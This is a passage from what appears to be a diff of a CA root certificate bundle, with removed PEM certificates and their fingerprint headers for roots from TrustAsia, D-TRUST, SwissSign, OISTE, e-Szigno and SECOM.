-ls/pdu4D58JDUjxqgejBWoC9EV2Ta/vH5mQ/u2kc6d0li690yVRAysuTEwrt+2aS -Ecr1wPrYg1UDfNPFIkZ1cGt5SAYqgpq/5usWDiJFAbzdNpQ0qTUmiteXue4Icr80 -knCDgKs4qllo3UCkGJCy89UDyibK79XH4I9TjvAA46jtn/mtd+ArY0+ew+43u3gJ -hJ65bvspmZDogNOfJA== ------END CERTIFICATE----- - -# Issuer: CN=TrustAsia TLS ECC Root CA O=TrustAsia Technologies, Inc. -# Subject: CN=TrustAsia TLS ECC Root CA O=TrustAsia Technologies, Inc. -# Label: "TrustAsia TLS ECC Root CA" -# Serial: 310892014698942880364840003424242768478804666567 -# MD5 Fingerprint: 09:48:04:77:d2:fc:65:93:71:66:b1:11:95:4f:06:8c -# SHA1 Fingerprint: b5:ec:39:f3:a1:66:37:ae:c3:05:94:57:e2:be:11:be:b7:a1:7f:36 -# SHA256 Fingerprint: c0:07:6b:9e:f0:53:1f:b1:a6:56:d6:7c:4e:be:97:cd:5d:ba:a4:1e:f4:45:98:ac:c2:48:98:78:c9:2d:87:11 ------BEGIN CERTIFICATE----- -MIICMTCCAbegAwIBAgIUNnThTXxlE8msg1UloD5Sfi9QaMcwCgYIKoZIzj0EAwMw -WDELMAkGA1UEBhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dpZXMs -IEluYy4xIjAgBgNVBAMTGVRydXN0QXNpYSBUTFMgRUNDIFJvb3QgQ0EwHhcNMjQw -NTE1MDU0MTU2WhcNNDQwNTE1MDU0MTU1WjBYMQswCQYDVQQGEwJDTjElMCMGA1UE -ChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEiMCAGA1UEAxMZVHJ1c3RB -c2lhIFRMUyBFQ0MgUm9vdCBDQTB2MBAGByqGSM49AgEGBSuBBAAiA2IABLh/pVs/ -AT598IhtrimY4ZtcU5nb9wj/1WrgjstEpvDBjL1P1M7UiFPoXlfXTr4sP/MSpwDp -guMqWzJ8S5sUKZ74LYO1644xST0mYekdcouJtgq7nDM1D9rs3qlKH8kzsaNCMEAw -DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQULIVTu7FDzTLqnqOH/qKYqKaT6RAw -DgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2gAMGUCMFRH18MtYYZI9HlaVQ01 -L18N9mdsd0AaRuf4aFtOJx24mH1/k78ITcTaRTChD15KeAIxAKORh/IRM4PDwYqR -OkwrULG9IpRdNYlzg8WbGf60oenUoWa2AaU2+dhoYSi3dOGiMQ== ------END CERTIFICATE----- - -# Issuer: CN=TrustAsia TLS RSA Root CA O=TrustAsia Technologies, Inc. -# Subject: CN=TrustAsia TLS RSA Root CA O=TrustAsia Technologies, Inc. -# Label: "TrustAsia TLS RSA Root CA" -# Serial: 160405846464868906657516898462547310235378010780 -# MD5 Fingerprint: 3b:9e:c3:86:0f:34:3c:6b:c5:46:c4:8e:1d:e7:19:12 -# SHA1 Fingerprint: a5:46:50:c5:62:ea:95:9a:1a:a7:04:6f:17:58:c7:29:53:3d:03:fa -# SHA256 Fingerprint: 06:c0:8d:7d:af:d8:76:97:1e:b1:12:4f:e6:7f:84:7e:c0:c7:a1:58:d3:ea:53:cb:e9:40:e2:ea:97:91:f4:c3 ------BEGIN CERTIFICATE----- -MIIFgDCCA2igAwIBAgIUHBjYz+VTPyI1RlNUJDxsR9FcSpwwDQYJKoZIhvcNAQEM -BQAwWDELMAkGA1UEBhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dp -ZXMsIEluYy4xIjAgBgNVBAMTGVRydXN0QXNpYSBUTFMgUlNBIFJvb3QgQ0EwHhcN -MjQwNTE1MDU0MTU3WhcNNDQwNTE1MDU0MTU2WjBYMQswCQYDVQQGEwJDTjElMCMG -A1UEChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEiMCAGA1UEAxMZVHJ1 -c3RBc2lhIFRMUyBSU0EgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCC -AgoCggIBAMMWuBtqpERz5dZO9LnPWwvB0ZqB9WOwj0PBuwhaGnrhB3YmH49pVr7+ -NmDQDIPNlOrnxS1cLwUWAp4KqC/lYCZUlviYQB2srp10Zy9U+5RjmOMmSoPGlbYJ -Q1DNDX3eRA5gEk9bNb2/mThtfWza4mhzH/kxpRkQcwUqwzIZheo0qt1CHjCNP561 -HmHVb70AcnKtEj+qpklz8oYVlQwQX1Fkzv93uMltrOXVmPGZLmzjyUT5tUMnCE32 -ft5EebuyjBza00tsLtbDeLdM1aTk2tyKjg7/D8OmYCYozza/+lcK7Fs/6TAWe8Tb -xNRkoDD75f0dcZLdKY9BWN4ArTr9PXwaqLEX8E40eFgl1oUh63kd0Nyrz2I8sMeX -i9bQn9P+PN7F4/w6g3CEIR0JwqH8uyghZVNgepBtljhb//HXeltt08lwSUq6HTrQ -UNoyIBnkiz/r1RYmNzz7dZ6wB3C4FGB33PYPXFIKvF1tjVEK2sUYyJtt3LCDs3+j -TnhMmCWr8n4uIF6CFabW2I+s5c0yhsj55NqJ4js+k8UTav/H9xj8Z7XvGCxUq0DT -bE3txci3OE9kxJRMT6DNrqXGJyV1J23G2pyOsAWZ1SgRxSHUuPzHlqtKZFlhaxP8 -S8ySpg+kUb8OWJDZgoM5pl+z+m6Ss80zDoWo8SnTq1mt1tve1CuBAgMBAAGjQjBA -MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFLgHkXlcBvRG/XtZylomkadFK/hT -MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQwFAAOCAgEAIZtqBSBdGBanEqT3 -Rz/NyjuujsCCztxIJXgXbODgcMTWltnZ9r96nBO7U5WS/8+S4PPFJzVXqDuiGev4 -iqME3mmL5Dw8veWv0BIb5Ylrc5tvJQJLkIKvQMKtuppgJFqBTQUYo+IzeXoLH5Pt -7DlK9RME7I10nYEKqG/odv6LTytpEoYKNDbdgptvT+Bz3Ul/KD7JO6NXBNiT2Twp -2xIQaOHEibgGIOcberyxk2GaGUARtWqFVwHxtlotJnMnlvm5P1vQiJ3koP26TpUJ -g3933FEFlJ0gcXax7PqJtZwuhfG5WyRasQmr2soaB82G39tp27RIGAAtvKLEiUUj -pQ7hRGU+isFqMB3iYPg6qocJQrmBktwliJiJ8Xw18WLK7nn4GS/+X/jbh87qqA8M -pugLoDzga5SYnH+tBuYc6kIQX+ImFTw3OffXvO645e8D7r0i+yiGNFjEWn9hongP -XvPKnbwbPKfILfanIhHKA9jnZwqKDss1jjQ52MjqjZ9k4DewbNfFj8GQYSbbJIwe -SsCI3zWQzj8C9GRh3sfIB5XeMhg6j6JCQCTl1jNdfK7vsU1P1FeQNWrcrgSXSYk0 -ly4wBOeY99sLAZDBHwo/+ML+TvrbmnNzFrwFuHnYWa8G5z9nODmxfKuU4CkUpijy -323imttUQ/hHWKNddBWcwauwxzQ= ------END CERTIFICATE----- - -# Issuer: CN=D-TRUST EV Root CA 2 2023 O=D-Trust GmbH -# Subject: CN=D-TRUST EV Root CA 2 2023 O=D-Trust GmbH -# Label: "D-TRUST EV Root CA 2 2023" -# Serial: 139766439402180512324132425437959641711 -# MD5 Fingerprint: 96:b4:78:09:f0:09:cb:77:eb:bb:1b:4d:6f:36:bc:b6 -# SHA1 Fingerprint: a5:5b:d8:47:6c:8f:19:f7:4c:f4:6d:6b:b6:c2:79:82:22:df:54:8b -# SHA256 Fingerprint: 8e:82:21:b2:e7:d4:00:78:36:a1:67:2f:0d:cc:29:9c:33:bc:07:d3:16:f1:32:fa:1a:20:6d:58:71:50:f1:ce ------BEGIN CERTIFICATE----- -MIIFqTCCA5GgAwIBAgIQaSYJfoBLTKCnjHhiU19abzANBgkqhkiG9w0BAQ0FADBI -MQswCQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlE -LVRSVVNUIEVWIFJvb3QgQ0EgMiAyMDIzMB4XDTIzMDUwOTA5MTAzM1oXDTM4MDUw -OTA5MTAzMlowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEi -MCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDIgMjAyMzCCAiIwDQYJKoZIhvcN -AQEBBQADggIPADCCAgoCggIBANiOo4mAC7JXUtypU0w3uX9jFxPvp1sjW2l1sJkK -F8GLxNuo4MwxusLyzV3pt/gdr2rElYfXR8mV2IIEUD2BCP/kPbOx1sWy/YgJ25yE -7CUXFId/MHibaljJtnMoPDT3mfd/06b4HEV8rSyMlD/YZxBTfiLNTiVR8CUkNRFe -EMbsh2aJgWi6zCudR3Mfvc2RpHJqnKIbGKBv7FD0fUDCqDDPvXPIEysQEx6Lmqg6 -lHPTGGkKSv/BAQP/eX+1SH977ugpbzZMlWGG2Pmic4ruri+W7mjNPU0oQvlFKzIb -RlUWaqZLKfm7lVa/Rh3sHZMdwGWyH6FDrlaeoLGPaxK3YG14C8qKXO0elg6DpkiV -jTujIcSuWMYAsoS0I6SWhjW42J7YrDRJmGOVxcttSEfi8i4YHtAxq9107PncjLgc -jmgjutDzUNzPZY9zOjLHfP7KgiJPvo5iR2blzYfi6NUPGJ/lBHJLRjwQ8kTCZFZx -TnXonMkmdMV9WdEKWw9t/p51HBjGGjp82A0EzM23RWV6sY+4roRIPrN6TagD4uJ+ -ARZZaBhDM7DS3LAaQzXupdqpRlyuhoFBAUp0JuyfBr/CBTdkdXgpaP3F9ev+R/nk -hbDhezGdpn9yo7nELC7MmVcOIQxFAZRl62UJxmMiCzNJkkg8/M3OsD6Onov4/knF -NXJHAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUqvyREBuH -kV8Wub9PS5FeAByxMoAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRCMEAwPqA8oDqG -OGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfZXZfcm9vdF9jYV8y -XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQCTy6UfmRHsmg1fLBWTxj++EI14 -QvBukEdHjqOSMo1wj/Zbjb6JzkcBahsgIIlbyIIQbODnmaprxiqgYzWRaoUlrRc4 -pZt+UPJ26oUFKidBK7GB0aL2QHWpDsvxVUjY7NHss+jOFKE17MJeNRqrphYBBo7q -3C+jisosketSjl8MmxfPy3MHGcRqwnNU73xDUmPBEcrCRbH0O1P1aa4846XerOhU -t7KR/aypH/KH5BfGSah82ApB9PI+53c0BFLd6IHyTS9URZ0V4U/M5d40VxDJI3IX -cI1QcB9WbMy5/zpaT2N6w25lBx2Eof+pDGOJbbJAiDnXH3dotfyc1dZnaVuodNv8 -ifYbMvekJKZ2t0dT741Jj6m2g1qllpBFYfXeA08mD6iL8AOWsKwV0HFaanuU5nCT -2vFp4LJiTZ6P/4mdm13NRemUAiKN4DV/6PEEeXFsVIP4M7kFMhtYVRFP0OUnR3Hs -7dpn1mKmS00PaaLJvOwiS5THaJQXfuKOKD62xur1NGyfN4gHONuGcfrNlUhDbqNP -gofXNJhuS5N5YHVpD/Aa1VP6IQzCP+k/HxiMkl14p3ZnGbuy6n/pcAlWVqOwDAst -Nl7F6cTVg8uGF5csbBNvh1qvSaYd2804BC5f4ko1Di1L+KIkBI3Y4WNeApI02phh -XBxvWHZks/wCuPWdCg== ------END CERTIFICATE----- - -# Issuer: CN=SwissSign RSA TLS Root CA 2022 - 1 O=SwissSign AG -# Subject: CN=SwissSign RSA TLS Root CA 2022 - 1 O=SwissSign AG -# Label: "SwissSign RSA TLS Root CA 2022 - 1" -# Serial: 388078645722908516278762308316089881486363258315 -# MD5 Fingerprint: 16:2e:e4:19:76:81:85:ba:8e:91:58:f1:15:ef:72:39 -# SHA1 Fingerprint: 81:34:0a:be:4c:cd:ce:cc:e7:7d:cc:8a:d4:57:e2:45:a0:77:5d:ce -# SHA256 Fingerprint: 19:31:44:f4:31:e0:fd:db:74:07:17:d4:de:92:6a:57:11:33:88:4b:43:60:d3:0e:27:29:13:cb:e6:60:ce:41 ------BEGIN CERTIFICATE----- -MIIFkzCCA3ugAwIBAgIUQ/oMX04bgBhE79G0TzUfRPSA7cswDQYJKoZIhvcNAQEL -BQAwUTELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzErMCkGA1UE -AxMiU3dpc3NTaWduIFJTQSBUTFMgUm9vdCBDQSAyMDIyIC0gMTAeFw0yMjA2MDgx -MTA4MjJaFw00NzA2MDgxMTA4MjJaMFExCzAJBgNVBAYTAkNIMRUwEwYDVQQKEwxT -d2lzc1NpZ24gQUcxKzApBgNVBAMTIlN3aXNzU2lnbiBSU0EgVExTIFJvb3QgQ0Eg -MjAyMiAtIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDLKmjiC8NX -vDVjvHClO/OMPE5Xlm7DTjak9gLKHqquuN6orx122ro10JFwB9+zBvKK8i5VUXu7 -LCTLf5ImgKO0lPaCoaTo+nUdWfMHamFk4saMla+ju45vVs9xzF6BYQ1t8qsCLqSX -5XH8irCRIFucdFJtrhUnWXjyCcplDn/L9Ovn3KlMd/YrFgSVrpxxpT8q2kFC5zyE -EPThPYxr4iuRR1VPuFa+Rd4iUU1OKNlfGUEGjw5NBuBwQCMBauTLE5tzrE0USJIt -/m2n+IdreXXhvhCxqohAWVTXz8TQm0SzOGlkjIHRI36qOTw7D59Ke4LKa2/KIj4x -0LDQKhySio/YGZxH5D4MucLNvkEM+KRHBdvBFzA4OmnczcNpI/2aDwLOEGrOyvi5 -KaM2iYauC8BPY7kGWUleDsFpswrzd34unYyzJ5jSmY0lpx+Gs6ZUcDj8fV3oT4MM -0ZPlEuRU2j7yrTrePjxF8CgPBrnh25d7mUWe3f6VWQQvdT/TromZhqwUtKiE+shd -OxtYk8EXlFXIC+OCeYSf8wCENO7cMdWP8vpPlkwGqnj73mSiI80fPsWMvDdUDrta -clXvyFu1cvh43zcgTFeRc5JzrBh3Q4IgaezprClG5QtO+DdziZaKHG29777YtvTK -wP1H8K4LWCDFyB02rpeNUIMmJCn3nTsPBQIDAQABo2MwYTAPBgNVHRMBAf8EBTAD -AQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBRvjmKLk0Ow4UD2p8P98Q+4 -DxU4pTAdBgNVHQ4EFgQUb45ii5NDsOFA9qfD/fEPuA8VOKUwDQYJKoZIhvcNAQEL -BQADggIBAKwsKUF9+lz1GpUYvyypiqkkVHX1uECry6gkUSsYP2OprphWKwVDIqO3 -10aewCoSPY6WlkDfDDOLazeROpW7OSltwAJsipQLBwJNGD77+3v1dj2b9l4wBlgz -Hqp41eZUBDqyggmNzhYzWUUo8aWjlw5DI/0LIICQ/+Mmz7hkkeUFjxOgdg3XNwwQ -iJb0Pr6VvfHDffCjw3lHC1ySFWPtUnWK50Zpy1FVCypM9fJkT6lc/2cyjlUtMoIc -gC9qkfjLvH4YoiaoLqNTKIftV+Vlek4ASltOU8liNr3CjlvrzG4ngRhZi0Rjn9UM -ZfQpZX+RLOV/fuiJz48gy20HQhFRJjKKLjpHE7iNvUcNCfAWpO2Whi4Z2L6MOuhF -LhG6rlrnub+xzI/goP+4s9GFe3lmozm1O2bYQL7Pt2eLSMkZJVX8vY3PXtpOpvJp -zv1/THfQwUY1mFwjmwJFQ5Ra3bxHrSL+ul4vkSkphnsh3m5kt8sNjzdbowhq6/Td -Ao9QAwKxuDdollDruF/UKIqlIgyKhPBZLtU30WHlQnNYKoH3dtvi4k0NX/a3vgW0 -rk4N3hY9A4GzJl5LuEsAz/+MF7psYC0nhzck5npgL7XTgwSqT0N1osGDsieYK7EO -gLrAhV5Cud+xYJHT6xh+cHiudoO+cVrQkOPKwRYlZ0rwtnu64ZzZ ------END CERTIFICATE----- - -# Issuer: CN=OISTE Server Root ECC G1 O=OISTE Foundation -# Subject: CN=OISTE Server Root ECC G1 O=OISTE Foundation -# Label: "OISTE Server Root ECC G1" -# Serial: 47819833811561661340092227008453318557 -# MD5 Fingerprint: 42:a7:d2:35:ae:02:92:db:19:76:08:de:2f:05:b4:d4 -# SHA1 Fingerprint: 3b:f6:8b:09:ae:2a:92:7b:ba:e3:8d:3f:11:95:d9:e6:44:0c:45:e2 -# SHA256 Fingerprint: ee:c9:97:c0:c3:0f:21:6f:7e:3b:8b:30:7d:2b:ae:42:41:2d:75:3f:c8:21:9d:af:d1:52:0b:25:72:85:0f:49 ------BEGIN CERTIFICATE----- -MIICNTCCAbqgAwIBAgIQI/nD1jWvjyhLH/BU6n6XnTAKBggqhkjOPQQDAzBLMQsw -CQYDVQQGEwJDSDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UEAwwY -T0lTVEUgU2VydmVyIFJvb3QgRUNDIEcxMB4XDTIzMDUzMTE0NDIyOFoXDTQ4MDUy -NDE0NDIyN1owSzELMAkGA1UEBhMCQ0gxGTAXBgNVBAoMEE9JU1RFIEZvdW5kYXRp -b24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IEVDQyBHMTB2MBAGByqGSM49 -AgEGBSuBBAAiA2IABBcv+hK8rBjzCvRE1nZCnrPoH7d5qVi2+GXROiFPqOujvqQy -cvO2Ackr/XeFblPdreqqLiWStukhEaivtUwL85Zgmjvn6hp4LrQ95SjeHIC6XG4N -2xml4z+cKrhAS93mT6NjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBQ3 -TYhlz/w9itWj8UnATgwQb0K0nDAdBgNVHQ4EFgQUN02IZc/8PYrVo/FJwE4MEG9C -tJwwDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2kAMGYCMQCpKjAd0MKfkFFR -QD6VVCHNFmb3U2wIFjnQEnx/Yxvf4zgAOdktUyBFCxxgZzFDJe0CMQCSia7pXGKD -YmH5LVerVrkR3SW+ak5KGoJr3M/TvEqzPNcum9v4KGm8ay3sMaE641c= ------END CERTIFICATE----- - -# Issuer: CN=OISTE Server Root RSA G1 O=OISTE Foundation -# Subject: CN=OISTE Server Root RSA G1 O=OISTE Foundation -# Label: "OISTE Server Root RSA G1" -# Serial: 113845518112613905024960613408179309848 -# MD5 Fingerprint: 23:a7:9e:d4:70:b8:b9:14:57:41:8a:7e:44:59:e2:68 -# SHA1 Fingerprint: f7:00:34:25:94:88:68:31:e4:34:87:3f:70:fe:86:b3:86:9f:f0:6e -# SHA256 Fingerprint: 9a:e3:62:32:a5:18:9f:fd:db:35:3d:fd:26:52:0c:01:53:95:d2:27:77:da:c5:9d:b5:7b:98:c0:89:a6:51:e6 ------BEGIN CERTIFICATE----- -MIIFgzCCA2ugAwIBAgIQVaXZZ5Qoxu0M+ifdWwFNGDANBgkqhkiG9w0BAQwFADBL -MQswCQYDVQQGEwJDSDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UE -AwwYT0lTVEUgU2VydmVyIFJvb3QgUlNBIEcxMB4XDTIzMDUzMTE0MzcxNloXDTQ4 -MDUyNDE0MzcxNVowSzELMAkGA1UEBhMCQ0gxGTAXBgNVBAoMEE9JU1RFIEZvdW5k -YXRpb24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IFJTQSBHMTCCAiIwDQYJ -KoZIhvcNAQEBBQADggIPADCCAgoCggIBAKqu9KuCz/vlNwvn1ZatkOhLKdxVYOPM -vLO8LZK55KN68YG0nnJyQ98/qwsmtO57Gmn7KNByXEptaZnwYx4M0rH/1ow00O7b -rEi56rAUjtgHqSSY3ekJvqgiG1k50SeH3BzN+Puz6+mTeO0Pzjd8JnduodgsIUzk -ik/HEzxux9UTl7Ko2yRpg1bTacuCErudG/L4NPKYKyqOBGf244ehHa1uzjZ0Dl4z -O8vbUZeUapU8zhhabkvG/AePLhq5SvdkNCncpo1Q4Y2LS+VIG24ugBA/5J8bZT8R -tOpXaZ+0AOuFJJkk9SGdl6r7NH8CaxWQrbueWhl/pIzY+m0o/DjH40ytas7ZTpOS -jswMZ78LS5bOZmdTaMsXEY5Z96ycG7mOaES3GK/m5Q9l3JUJsJMStR8+lKXHiHUh -sd4JJCpM4rzsTGdHwimIuQq6+cF0zowYJmXa92/GjHtoXAvuY8BeS/FOzJ8vD+Ho -mnqT8eDI278n5mUpezbgMxVz8p1rhAhoKzYHKyfMeNhqhw5HdPSqoBNdZH702xSu -+zrkL8Fl47l6QGzwBrd7KJvX4V84c5Ss2XCTLdyEr0YconosP4EmQufU2MVshGYR -i3drVByjtdgQ8K4p92cIiBdcuJd5z+orKu5YM+Vt6SmqZQENghPsJQtdLEByFSnT -kCz3GkPVavBpAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAU -8snBDw1jALvsRQ5KH7WxszbNDo0wHQYDVR0OBBYEFPLJwQ8NYwC77EUOSh+1sbM2 -zQ6NMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQwFAAOCAgEANGd5sjrG5T33 -I3K5Ce+SrScfoE4KsvXaFwyihdJ+klH9FWXXXGtkFu6KRcoMQzZENdl//nk6HOjG -5D1rd9QhEOP28yBOqb6J8xycqd+8MDoX0TJD0KqKchxRKEzdNsjkLWd9kYccnbz8 -qyiWXmFcuCIzGEgWUOrKL+mlSdx/PKQZvDatkuK59EvV6wit53j+F8Bdh3foZ3dP -AGav9LEDOr4SfEE15fSmG0eLy3n31r8Xbk5l8PjaV8GUgeV6Vg27Rn9vkf195hfk -gSe7BYhW3SCl95gtkRlpMV+bMPKZrXJAlszYd2abtNUOshD+FKrDgHGdPY3ofRRs -YWSGRqbXVMW215AWRqWFyp464+YTFrYVI8ypKVL9AMb2kI5Wj4kI3Zaq5tNqqYY1 -9tVFeEJKRvwDyF7YZvZFZSS0vod7VSCd9521Kvy5YhnLbDuv0204bKt7ph6N/Ome -/msVuduCmsuY33OhkKCgxeDoAaijFJzIwZqsFVAzje18KotzlUBDJvyBpCpfOZC3 -J8tRd/iWkx7P8nd9H0aTolkelUTFLXVksNb54Dxp6gS1HAviRkRNQzuXSXERvSS2 -wq1yVAb+axj5d9spLFKebXd7Yv0PTY6YMjAwcRLWJTXjn/hvnLXrahut6hDTlhZy -BiElxky8j3C7DOReIoMt0r7+hVu05L0= ------END CERTIFICATE----- - -# Issuer: CN=e-Szigno TLS Root CA 2023 O=Microsec Ltd. -# Subject: CN=e-Szigno TLS Root CA 2023 O=Microsec Ltd. -# Label: "e-Szigno TLS Root CA 2023" -# Serial: 71934828665710877219916191754 -# MD5 Fingerprint: 6a:e9:99:74:a5:da:5e:f1:d9:2e:f2:c8:d1:86:8b:71 -# SHA1 Fingerprint: 6f:9a:d5:d5:df:e8:2c:eb:be:37:07:ee:4f:4f:52:58:29:41:d1:fe -# SHA256 Fingerprint: b4:91:41:50:2d:00:66:3d:74:0f:2e:7e:c3:40:c5:28:00:96:26:66:12:1a:36:d0:9c:f7:dd:2b:90:38:4f:b4 ------BEGIN CERTIFICATE----- -MIICzzCCAjGgAwIBAgINAOhvGHvWOWuYSkmYCjAKBggqhkjOPQQDBDB1MQswCQYD -VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0 -ZC4xFzAVBgNVBGEMDlZBVEhVLTIzNTg0NDk3MSIwIAYDVQQDDBllLVN6aWdubyBU -TFMgUm9vdCBDQSAyMDIzMB4XDTIzMDcxNzE0MDAwMFoXDTM4MDcxNzE0MDAwMFow -dTELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRYwFAYDVQQKDA1NaWNy -b3NlYyBMdGQuMRcwFQYDVQRhDA5WQVRIVS0yMzU4NDQ5NzEiMCAGA1UEAwwZZS1T -emlnbm8gVExTIFJvb3QgQ0EgMjAyMzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAE -AGgP36J8PKp0iGEKjcJMpQEiFNT3YHdCnAo4YKGMZz6zY+n6kbCLS+Y53wLCMAFS -AL/fjO1ZrTJlqwlZULUZwmgcAOAFX9pQJhzDrAQixTpN7+lXWDajwRlTEArRzT/v -SzUaQ49CE0y5LBqcvjC2xN7cS53kpDzLLtmt3999Cd8ukv+ho2MwYTAPBgNVHRMB -Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUWYQCYlpGePVd3I8K -ECgj3NXW+0UwHwYDVR0jBBgwFoAUWYQCYlpGePVd3I8KECgj3NXW+0UwCgYIKoZI -zj0EAwQDgYsAMIGHAkIBLdqu9S54tma4n7Zwf2Z0z+yOfP7AAXmazlIC58PRDHpt -y7Ve7hekm9sEdu4pKeiv+62sUvTXK9Z3hBC9xdIoaDQCQTV2WnXzkoYI9bIeCvZl -C9p2x1L/Cx6AcCIwwzPbGO2E14vs7dOoY4G1VnxHx1YwlGhza9IuqbnZLBwpvQy6 -uWWL ------END CERTIFICATE----- - -# Issuer: CN=SECOM TLS RSA Root CA 2024 O=SECOM Trust Systems Co., Ltd. -# Subject: CN=SECOM TLS RSA Root CA 2024 O=SECOM Trust Systems Co., Ltd. -# Label: "SECOM TLS RSA Root CA 2024" -# Serial: 17188327524208271538 -# MD5 Fingerprint: d0:a4:db:32:eb:44:98:d2:62:0b:3e:bc:4d:7c:5c:e9 -# SHA1 Fingerprint: fb:97:96:7c:ef:8d:98:63:06:c0:3b:b6:11:f8:e0:13:97:a2:98:d3 -# SHA256 Fingerprint: 14:35:f2:25:c5:d2:52:d7:a2:19:48:cc:3c:e6:2a:ec:fa:88:00:1e:3d:d7:2d:1c:c3:55:51:00:eb:37:2f:93 ------BEGIN CERTIFICATE----- -MIIFmjCCA4KgAwIBAgIJAO6JNNDLgOCyMA0GCSqGSIb3DQEBDAUAMFoxCzAJBgNV -BAYTAkpQMSYwJAYDVQQKEx1TRUNPTSBUcnVzdCBTeXN0ZW1zIENvLiwgTHRkLjEj -MCEGA1UEAxMaU0VDT00gVExTIFJTQSBSb290IENBIDIwMjQwHhcNMjQwMTMxMDUx -MTU1WhcNNDkwMTE0MDUxMTU1WjBaMQswCQYDVQQGEwJKUDEmMCQGA1UEChMdU0VD -T00gVHJ1c3QgU3lzdGVtcyBDby4sIEx0ZC4xIzAhBgNVBAMTGlNFQ09NIFRMUyBS -U0EgUm9vdCBDQSAyMDI0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA -4TjizUwzxbInq8Tx11gaFYNk5fO+34y7TyM4neh0UgL5JIZbJNLTz2x//L/B71+5 -m6X6nGIr7d4lFJBGtjO677hXOz93zkcWaUTm3VbOAjBlt4YWxlcccBHXuZ7o3Q+4 -R+ormrBdHeJ1CTUEG8ttQbKIl3G7OZYbnH8/pP8cjPub/0kDVNuMzp7xsVRROOis -Qt53fMoJLlYgoebbuMphOqMCtjkJ7R6efEMfLp8UAVi9ZaLRn76ET/CJkk925ndu -uufC4BatS4mnXFmxN0vUXb0ij9B8O/D8gixQEsVSD4GK8FWRPh3bVd/6bzdkHGJj -y21XI0yejVomZUbRrOfNuz0boPGV1pt18fFC39IHQEth3OFqb5NDO3L+A9bNqTgA -yUgRmIn4ucgDc/Ri/Km3V51ueZjy1/yk0qwJVadAVVrCt56iNeXOyEvzJADGgDQ8 -E1Pdaqct8Cynz/47ReQM62vFYO08wcQkrjmX/tesiko1V1yyaf6EfPzUFzmaGy9x -vkCwdbm15EdTolOjE0H2Vb5/APDOyCFEokiYGmXTLdAUl0wKZ4IyjkHGzy0jhpaX -EXE/GJcEvI6VzEchjaBL03EJ0h9pG4OqeIOycKvAo3A+TbetyfsrgYyHzU0a7/qU -jGat1AAq1nVljMpKqpinPTsf/d9H39FTUeJL7TpzzjUCAwEAAaNjMGEwHQYDVR0O -BBYEFCzrchKOWHdkNRVWNQFXB6l9DTbmMB8GA1UdIwQYMBaAFCzrchKOWHdkNRVW -NQFXB6l9DTbmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqG -SIb3DQEBDAUAA4ICAQAVwsvluSafaez5tFPR/hRTBzRxEyMMQF3XJXCVi3yegZyK -oec7hmE6jx2ZM8KgM1kn2yJRwFXHX8zUW9nBLEDWc4wuE8LrlZqhGZM9pJQXGmGz -ResDJV6JgRBna+j4sA1M7yIdlvL0sAfFXFCTRaWTD4E1V99RLrFzWfTcC+e180hD -uNMpqOEo46+lMeW/Wvh7ifOQs+kiK0O2gHxQDNxslSavnCs4V7l8HRDJ2La10o70 -Bo7VLzf1W8MBvv0VTnxB+NjT5qTAbhGFh9Gvp4BaJpmdUf0C5CEP6dbQlfgxWfzY -r69yVT6dPQB+GFEaY03IMY+AcBCs+om1fNxrQXt9zoofMBNFbLhvpNH/JsXWdGUz -fNbO12uswTa5wah8LB18FTQN2/zPHYmvBEoLuyUgZ09VNLJo5YA0kXItVYkLjMe2 -SixzK4scUHv81IK99I91DWx7FwMVKw2xgFp+ZLYB2dnpQQrqwlW64glHUcK2N9BD -snjLSxeZ+UPECh9RxH4WAcKiZW+cqaKMmhP2WBfR4IcR7NOL32ml11ds87hhV1CZ -WWFCJAcCidYZz6CZa8exzHojP9SB5RH0/v1KdHAisqhSjtJl/UIAHIQ48elOn8wr -TdFap4Yb5aHglmMeNx+fAIhDluWVfxTO7H4dTPU+SFVRMLAh+wwKZfqb94nMeQ== ------END CERTIFICATE----- - -# Issuer: CN=SECOM TLS ECC Root CA 2024 O=SECOM Trust Systems Co., Ltd. -# Subject: CN=SECOM TLS ECC Root CA 2024 O=SECOM 